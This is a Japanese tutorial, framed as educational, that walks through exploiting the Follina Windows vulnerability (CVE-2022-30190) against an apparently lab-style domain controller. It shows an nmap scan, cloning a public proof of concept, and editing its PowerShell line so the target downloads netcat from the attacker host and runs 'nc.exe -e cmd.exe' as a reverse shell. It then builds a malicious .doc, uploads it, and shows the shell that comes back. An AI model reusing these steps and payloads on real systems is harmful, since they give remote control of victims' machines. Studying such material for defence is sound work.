投稿記事は、学習のため投稿しております。
本投稿内容を基に、商用環境への悪用は行わないでください。
概要
2022年5月30日に公開された脆弱性であるWindowsOSのゼロクリックでリモートコード実行の脆弱性(CVE-2022-30190)について、PoCコードを基に攻撃例を紹介する記事となります。
偵察(Reconnaissance)
NMAPで使用されているサービスの調査
NMAPのコマンド
nmap -sV [標的のIPアドレス]
NMAPの結果
Starting Nmap 7.93 ( https://nmap.org ) at xxxx
Nmap scan report for [標的のIPアドレス]
Host is up (0.17s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-25 14:44:16Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: [標的のドメイン名]., Site: Default-First-Site-Name)
443/tcp open ssl/http Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: [標的のドメイン名]., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: [標的のドメイン名]., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: [標的のドメイン名]., Site: Default-First-Site-Name)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.08 seconds
NMAPの結果からWindows OSが動いていることがわかる
CVE-2022-30190のダウンロードおよび準備
CVE-2022-30190のPoCコード
git cloneでダウンロードする
git clone https://github.com/JohnHammond/msdt-follina.git
follina.pyを編集
111行目を編集する
- 変更前
command = f"""Invoke-WebRequest https://github.com/JohnHammond/msdt-follina/blob/main/nc64.exe?raw=true -OutFile C:\\Windows\\Tasks\\nc.exe; C:\\Windows\\Tasks\\nc.exe -e cmd.exe {serve_host} {args.reverse}"""
- 変更後
command = f"""Invoke-WebRequest http://{serve_host}:{args.port}/nc64.exe -OutFile C:\\Windows\\Tasks\\nc.exe; C:\\Windows\\Tasks\\nc.exe -e cmd.exe {serve_host} {args.reverse}"""
実行(Execution)
follina.pyを実行、待ち受けを行う
python3 follina.py -r 9000 -i tun0
実行後のコンソール画面
[+] copied staging doc /tmp/_cs0ydh2
[+] created maldoc ./follina.doc
[+] serving html payload on :8000
[+] starting 'nc -lvnp 9000'
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9000
Ncat: Listening on 0.0.0.0:9000
follina.pyを実行すると攻撃用の「follina.doc」が作成される
標的のアップロード機能部分に「follina.doc」をアップロードする
コンソール画面
[+] copied staging doc /tmp/_cs0ydh2
[+] created maldoc ./follina.doc
[+] serving html payload on :8000
[+] starting 'nc -lvnp 9000'
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9000
Ncat: Listening on 0.0.0.0:9000
Ncat: Connection from [標的のIPアドレス].
Ncat: Connection from [標的のIPアドレス]:57021.
Microsoft Windows [Version 10.0.17763.2867]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Public\Temp>
攻撃に成功し数秒すると、シェルコードが実行され待ち受けに送信
標的を乗っ取ることができる
参考文献
- CVE-2022-30190のPoCコード
- CVE-2022-30190 Detail